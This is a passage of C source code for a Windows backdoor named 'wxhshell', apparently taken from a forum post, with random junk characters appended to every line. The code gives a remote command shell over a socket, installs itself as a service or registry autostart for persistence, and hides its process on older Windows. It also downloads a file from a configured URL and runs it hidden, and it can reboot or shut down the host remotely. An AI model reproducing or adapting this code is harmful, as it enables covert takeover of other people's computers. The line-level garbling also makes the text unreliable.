  ?pq#|PI)  
  // 帮助 >jxo,xz  
  case '?': { |r2 U4 ^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  ! K:  
    break; e= $p(  
  } x=(y  
  // 安装 ]hY'A>4Uq  
  case 'i': { ?;NC(Z,  
    if(Install()) W@<(WI3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e<wA["^  
    else C-Y~T;53  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i> Wsc?  
    break; ?K9&ye_rgw  
    } B:5\+_a!  
  // 卸载 ;{mKt%#  
  case 'r': { ! h7?Ap  
    if(Uninstall()) :t?Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Er( I6  
    else 1&%6sZN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S8-3Nv'  
    break; <1i:Z*l.  
    } r(=  
  // 显示 wxhshell 所在路径 yH}(0  
  case 'p': { t){})nZ/4  
    char svExeFile[MAX_PATH]; 49S*f  
    strcpy(svExeFile,"\n\r"); GG0l\! 2)  
      strcat(svExeFile,ExeFile); 0X6|pC~  
        send(wsh,svExeFile,strlen(svExeFile),0); v%gkQa  
    break; 9z>I&vcX  
    } :&*Y Io  
  // 重启 >2Z0XEe  
  case 'b': { Mrpz(})  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N<&"_jzm  
    if(Boot(REBOOT)) >fG=(1"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -3-*T)  
    else { h"h3SD~  
    closesocket(wsh); (`C#Tq  
    ExitThread(0); PuyJ:#a  
    } ko-|hBNv  
    break; Mf'T\^-!  
    } i=Nq`BoQf  
  // 关机 &sh5|5EC  
  case 'd': { M*XAyo4 fI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -J7BEx  
    if(Boot(SHUTDOWN)) ?#N: a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >uHU3<2&  
    else { RsTz3]`yv  
    closesocket(wsh); 9g %1^$R  
    ExitThread(0); ]Rah,4?9f  
    } bYs K|n  
    break; b,vSE,&xP  
    } GWb=X cx  
  // 获取shell &<??,R14  
  case 's': { ']Q4SB"q  
    CmdShell(wsh); !4"(>Rnw  
    closesocket(wsh); QH z3  
    ExitThread(0); [4p~iGC  
    break; b)+nNqY|  
  } pxf(C<y6_  
  // 退出 )Z4ilpU,  
  case 'x': { ylFoYROO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \gz(C`4{j  
    CloseIt(wsh); ..FEyf  
    break; V { #8+  
    } G;RFY!o  
  // 离开 HpbSf1VvAf  
  case 'q': { An0Dq jR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); + Cf"rN  
    closesocket(wsh); B{}<DP.  
    WSACleanup(); 1f 3c3PJ  
    exit(1); [)efh9P*  
    break; S($8_u$U  
        } >* Ag0.Az  
  } !U 6q;' )-  
  } %5g(|Y]  
S10"yhn(-t  
  // 提示信息 dWc'RwL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oRDqN]  
} CjFnE   
  } `!BP.-Zv  
FX1[ 2\  
  return; pCacm@(hG  
} ~&}e8ah2  
CG[2  
// shell模块句柄 {C>E*qp}f  
int CmdShell(SOCKET sock) >z #^JR\6  
{ pW[KC!  
STARTUPINFO si; [P:+n7= ,l  
ZeroMemory(&si,sizeof(si)); =6.4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /)+V(Jlu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T`ofj7$:  
PROCESS_INFORMATION ProcessInfo; G 6r2 "  
char cmdline[]="cmd"; Jy^.L$bt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .ei5+?V<i  
  return 0; _%R]TlL  
} $O'IbA  
;!~&-I0l  
// 自身启动模式 1hTE^\W  
int StartFromService(void) 1]&FB{l  
{ +,g3Xqs}X  
typedef struct I$0O4  
{ ?Yf0h_>  
  DWORD ExitStatus; mJU1n  
  DWORD PebBaseAddress; 4Tdp;n\F  
  DWORD AffinityMask; Mg"e$m  
  DWORD BasePriority; @PL.7FM<v  
  ULONG UniqueProcessId; M)qb6aD0  
  ULONG InheritedFromUniqueProcessId; W(#u^,$e[  
}   PROCESS_BASIC_INFORMATION; c1Rn1M,2k  
^-^ii 3G`  
PROCNTQSIP NtQueryInformationProcess; 634OH*6  
IGnP#@`5]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5eLm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -~_[2u^3  
y2`},  
  HANDLE             hProcess; .Qv H7  
  PROCESS_BASIC_INFORMATION pbi; @S<6#zR  
uh<e- ;vU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [d?tf  
  if(NULL == hInst ) return 0; ;T\+TZtI  
dZWO6k9[H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d1qvS@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4'~zuUs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,J&\) yTP  
\{EYkk0]  
  if (!NtQueryInformationProcess) return 0; `GUGy.b  
"Snt~:W>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GBY-WN4sc[  
  if(!hProcess) return 0; 0$g;O5y"i  
4JO[yN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2MU$OI0|  
\1ncr4  
  CloseHandle(hProcess); `B$rr4_  
`s8o2"12  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }vX iqT  
if(hProcess==NULL) return 0; ;F;Vm$  
=]fOQN`  
HMODULE hMod; $TX]*hNn  
char procName[255]; mHyT1e  
unsigned long cbNeeded; >bFrJz}  
LrH"d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 64UrD{$o  
oTN:Q"oK7?  
  CloseHandle(hProcess); z&c|2L-u6  
|)65y  
if(strstr(procName,"services")) return 1; // 以服务启动 *x-@}WY$U  
e>2KW5.  
  return 0; // 注册表启动 fZiwuq !_  
} Q?2Gw N  
8-"D.b4  
// 主模块 ]~:WGo=_  
int StartWxhshell(LPSTR lpCmdLine) a@S{ A5j  
{ Kw7uUJR  
  SOCKET wsl; U#G<cV79  
BOOL val=TRUE; 2!_DkE  
  int port=0; 8F K%7\V  
  struct sockaddr_in door; %M,^)lRP  
6z5wFzJv?q  
  if(wscfg.ws_autoins) Install(); / # d^  
9$#@Oe8*  
port=atoi(lpCmdLine); P''>wjMH0  
%x-`Y[  
if(port<=0) port=wscfg.ws_port; dczq,evp  
34,'smHi%  
  WSADATA data; Ye|(5f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b]4\$rW7  
A<y]D.Z"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vW-o%u*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IP  
  door.sin_family = AF_INET; ,MjlA{0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c'INmc I|  
  door.sin_port = htons(port); MCAWn H  
`>- 56 %  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D<g d)  
closesocket(wsl); N*f ]NCSi  
return 1; w\RYxu?  
} P=aYwmC  
TbD $lx3>  
  if(listen(wsl,2) == INVALID_SOCKET) { . {vMn0c  
closesocket(wsl); A*~BkvPr  
return 1; j+PLtE   
} PA*1]i#2M=  
  Wxhshell(wsl); 7_R[ =t  
  WSACleanup(); ?3%r:g4  
:*ZijN*{)$  
return 0; VHi'~B#'*  
*P/DDRq(2  
} Ss3~X90!*B  
3Rhoul[S  
// 以NT服务方式启动 +NJIi@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Qv<p$Up6  
{ `MHixQ;j  
DWORD   status = 0; Q@uWh:  
  DWORD   specificError = 0xfffffff; Ob/i_  
R7 rO7M !  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =M6{{lI/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YwS/O N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &Oc `|r*  
  serviceStatus.dwWin32ExitCode     = 0; fR b  
  serviceStatus.dwServiceSpecificExitCode = 0; /:v}Ni"6nF  
  serviceStatus.dwCheckPoint       = 0; !sp`oM  
  serviceStatus.dwWaitHint       = 0; q"5\bh1"  
'ka}x~EF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rd;E /:`5  
  if (hServiceStatusHandle==0) return; Z2 Vri  
`An p;el  
status = GetLastError(); !+z&] S3s  
  if (status!=NO_ERROR) D~FIv  
{ Y>T<Qn^D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ::_bEmk  
    serviceStatus.dwCheckPoint       = 0; nIZsKbnw  
    serviceStatus.dwWaitHint       = 0; E[i#8_  
    serviceStatus.dwWin32ExitCode     = status; I/%L,XyRI  
    serviceStatus.dwServiceSpecificExitCode = specificError; 29l bOi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RG=i74a  
    return; >@h#'[z,d  
  } 9{}"tk5$h  
k8!:`jG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,rjl|F* T  
  serviceStatus.dwCheckPoint       = 0; 2*< PmKI  
  serviceStatus.dwWaitHint       = 0; iaJLIrl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E5 #ff5  
} \<hHZS  
+4p=a [  
// 处理NT服务事件,比如:启动、停止 ,|Gjr T{vf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4s9.")G  
{ If]rg+|U  
switch(fdwControl) /'zXb_R,$  
{ oVr:ZwkG3  
case SERVICE_CONTROL_STOP: ;<*USS6X  
  serviceStatus.dwWin32ExitCode = 0; III:j hh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ">M&/}4  
  serviceStatus.dwCheckPoint   = 0; 3ZN\F  
  serviceStatus.dwWaitHint     = 0; K,6{c^qf  
  { v0TbQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >oN Wf  
  } }]M'f:%b  
  return; )w5!'W4Z8  
case SERVICE_CONTROL_PAUSE: P#MUS_x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F vTswM>  
  break; WFzM s  
case SERVICE_CONTROL_CONTINUE: q{%~(A5*H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5i}g$yjZ<  
  break; $ce*W 9`  
case SERVICE_CONTROL_INTERROGATE: Ly/  
  break; 0176  
}; N ]14~r=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #|3,DZ|)F  
} f~,Ml*Zp  
l8J2Xd @   
// 标准应用程序主函数 ei>iXDt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?~IdPSY  
{ cv1PiIl  
,)N/2M\B-  
// 获取操作系统版本 H DD)AM&p  
OsIsNt=GetOsVer(); &EYoviFp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >j7]gi(  
t3g+>U_m  
  // 从命令行安装 .beqfcj"  
  if(strpbrk(lpCmdLine,"iI")) Install(); s(ap~UCOw  
p5py3k  
  // 下载执行文件 )*R';/zaI  
if(wscfg.ws_downexe) { M IyT9",Pl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,6#%+u}f  
  WinExec(wscfg.ws_filenam,SW_HIDE); WJ)4rQ$o  
} .LDp.#d9r1  
?S9vYaA$  
if(!OsIsNt) { Kv:Rvo  
// 如果时win9x,隐藏进程并且设置为注册表启动 +sTPTCLE  
HideProc(); = y(*?TZH  
StartWxhshell(lpCmdLine); !Eb|AHa  
} ? HNuffk  
else $iMLT8U  
  if(StartFromService()) Qg]A^{.1  
  // 以服务方式启动 !G6h~`[  
  StartServiceCtrlDispatcher(DispatchTable); ,j9?9Z7R  
else ._t1eb`m{  
  // 普通方式启动 {-Mjs BR  
  StartWxhshell(lpCmdLine); fFoZ! H  
19-V;F@;  
return 0; m>F:dI  
}
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只看该作者 1 发表于: 2006-10-10
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